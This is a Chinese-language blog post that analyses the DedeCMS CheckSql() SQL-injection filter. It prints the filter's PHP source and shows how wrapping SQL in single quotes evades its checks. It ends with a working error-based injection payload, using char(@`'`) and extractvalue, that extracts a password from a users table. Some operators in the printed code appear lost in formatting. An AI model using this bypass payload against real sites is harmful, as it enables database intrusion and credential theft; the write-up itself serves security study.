dedeCMS的CheckSql()函数,80sec开发的通用防注入ids程序..是个比较老的东西了..但是最近挖洞的时候碰到了..绕了一下,直接关键词丢google就找到了一篇文章,还搞到了函数的源码,大概地看了一下,这里就记录一下吧
先看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 function CheckSql ($sql , $querytype ='select' ) { $clean = '' ; $error = '' ; $pos = -1 ; $old_pos = 0 ; if ($querytype == 'select' ) { if (preg_match ('/[^0-9a-z@\._-]{1,}(unionsleepbenchmarkload_fileoutfile)[^0-9a-z@\.-]{1,}/' , $sql )) { print ("$sqlSelectBreak " ); } } while (true ) { $pos = strpos ($sql , '\'' , $pos + 1 ); if ($pos === false ) { break ; } $clean .= substr ($sql , $old_pos , $pos - $old_pos ); while (true ) { $pos1 = strpos ($sql , '\'' , $pos + 1 ); $pos2 = strpos ($sql , '\\' , $pos + 1 ); if ($pos1 === false ) { break ; } else if ($pos2 == false $pos2 > $pos1 ) { $pos = $pos1 ; break ; } $pos = $pos2 + 1 ; } $clean .= '$s$' ; $old_pos = $pos + 1 ; } $clean .= substr ($sql , $old_pos ); $clean = trim (strtolower (preg_replace (array ('~\s+~s' ), array (' ' ), $clean ))); if (strpos ($clean , 'union' ) !== false && preg_match ('~(^[^a-z])union($[^[a-z])~s' , $clean ) != 0 ) { $fail = true ; $error = 'union detect' ; } else if (strpos ($clean , '/*' ) > 2 strpos ($clean , '--' ) !== false strpos ($clean , '#' ) !== false ) { $fail = true ; $error = 'comment detect' ; } else if (strpos ($clean , 'sleep' ) !== false && preg_match ('~(^[^a-z])sleep($[^[a-z])~s' , $clean ) != 0 ) { $fail = true ; $error = 'slown down detect' ; } else if (strpos ($clean , 'benchmark' ) !== false && preg_match ('~(^[^a-z])benchmark($[^[a-z])~s' , $clean ) != 0 ) { $fail = true ; $error = 'slown down detect' ; } else if (strpos ($clean , 'load_file' ) !== false && preg_match ('~(^[^a-z])load_file($[^[a-z])~s' , $clean ) != 0 ) { $fail = true ; $error = 'file fun detect' ; } else if (strpos ($clean , 'into outfile' ) !== false && preg_match ('~(^[^a-z])into\s+outfile($[^[a-z])~s' , $clean ) != 0 ) { $fail = true ; $error = 'file fun detect' ; } else if (preg_match ('~\([^)]*?select~s' , $clean ) != 0 ) { $fail = true ; $error = 'sub select detect' ; } if (!empty ($fail )) { print ("$sql ,$error " ); } else { return $sql ; } }
首先我们看一下payload,本地测试一下,用的sql语句为
1 SELECT * FROM `dy_zgz` WHERE id= 78 and (sElecT (now()))
然后把\(clean给echo出来,得到结果:

可以看到第二个语句的子查询被detect了,那么怎么bypass呢?
发现前面的while把函数中在单引号间的东西换成\) s$然后再把sql语句拿去检测,那么我们测试用单引号包含我们的sql语句
1 SELECT * FROM `dy_zgz` WHERE id= 78 and '(sElecT(now()))'
得到结果
这次就没有被detect到,即使查询是相同的,因为丢进去查询的是$clean,也即第一个sql语句,里面并没有select相关句,所以成功bypass
那么如何利用呢,这里用到in和反引号来绕过,mysql中@可以定义一个变量,反引号来转义单引号,那么我们就可以构造出下面的句子
1 SELECT username FROM users WHERE is_admin= 1 AND is_admin in (char (@`'`), extractvalue(1, concat_ws(0x20, 0x5c,(select password from users limit 1))),char(@`' `))
我们先看char(@'
),默认定义变量是为空的,所以提取结果如下
那么这样报错注入的地方就会执行,于是就会返回报错信息,比如
明白了原理,绕过也就不难了. 给出两篇参考链接 http://goodwaf.com/2016/11/30/DedeCMS-CheckSql%E5%87%BD%E6%95%B0%E7%BB%95%E8%BF%87/
http://blogs.360.cn/360webscan/2013/08/12/oracle10g-unwrap%E6%8A%80%E6%9C%AF%E5%88%86%E6%9E%90-by-genxor/
还是多学习多见识吧...近期多打打实际环境,后续碰到的东西也会慢慢发出来.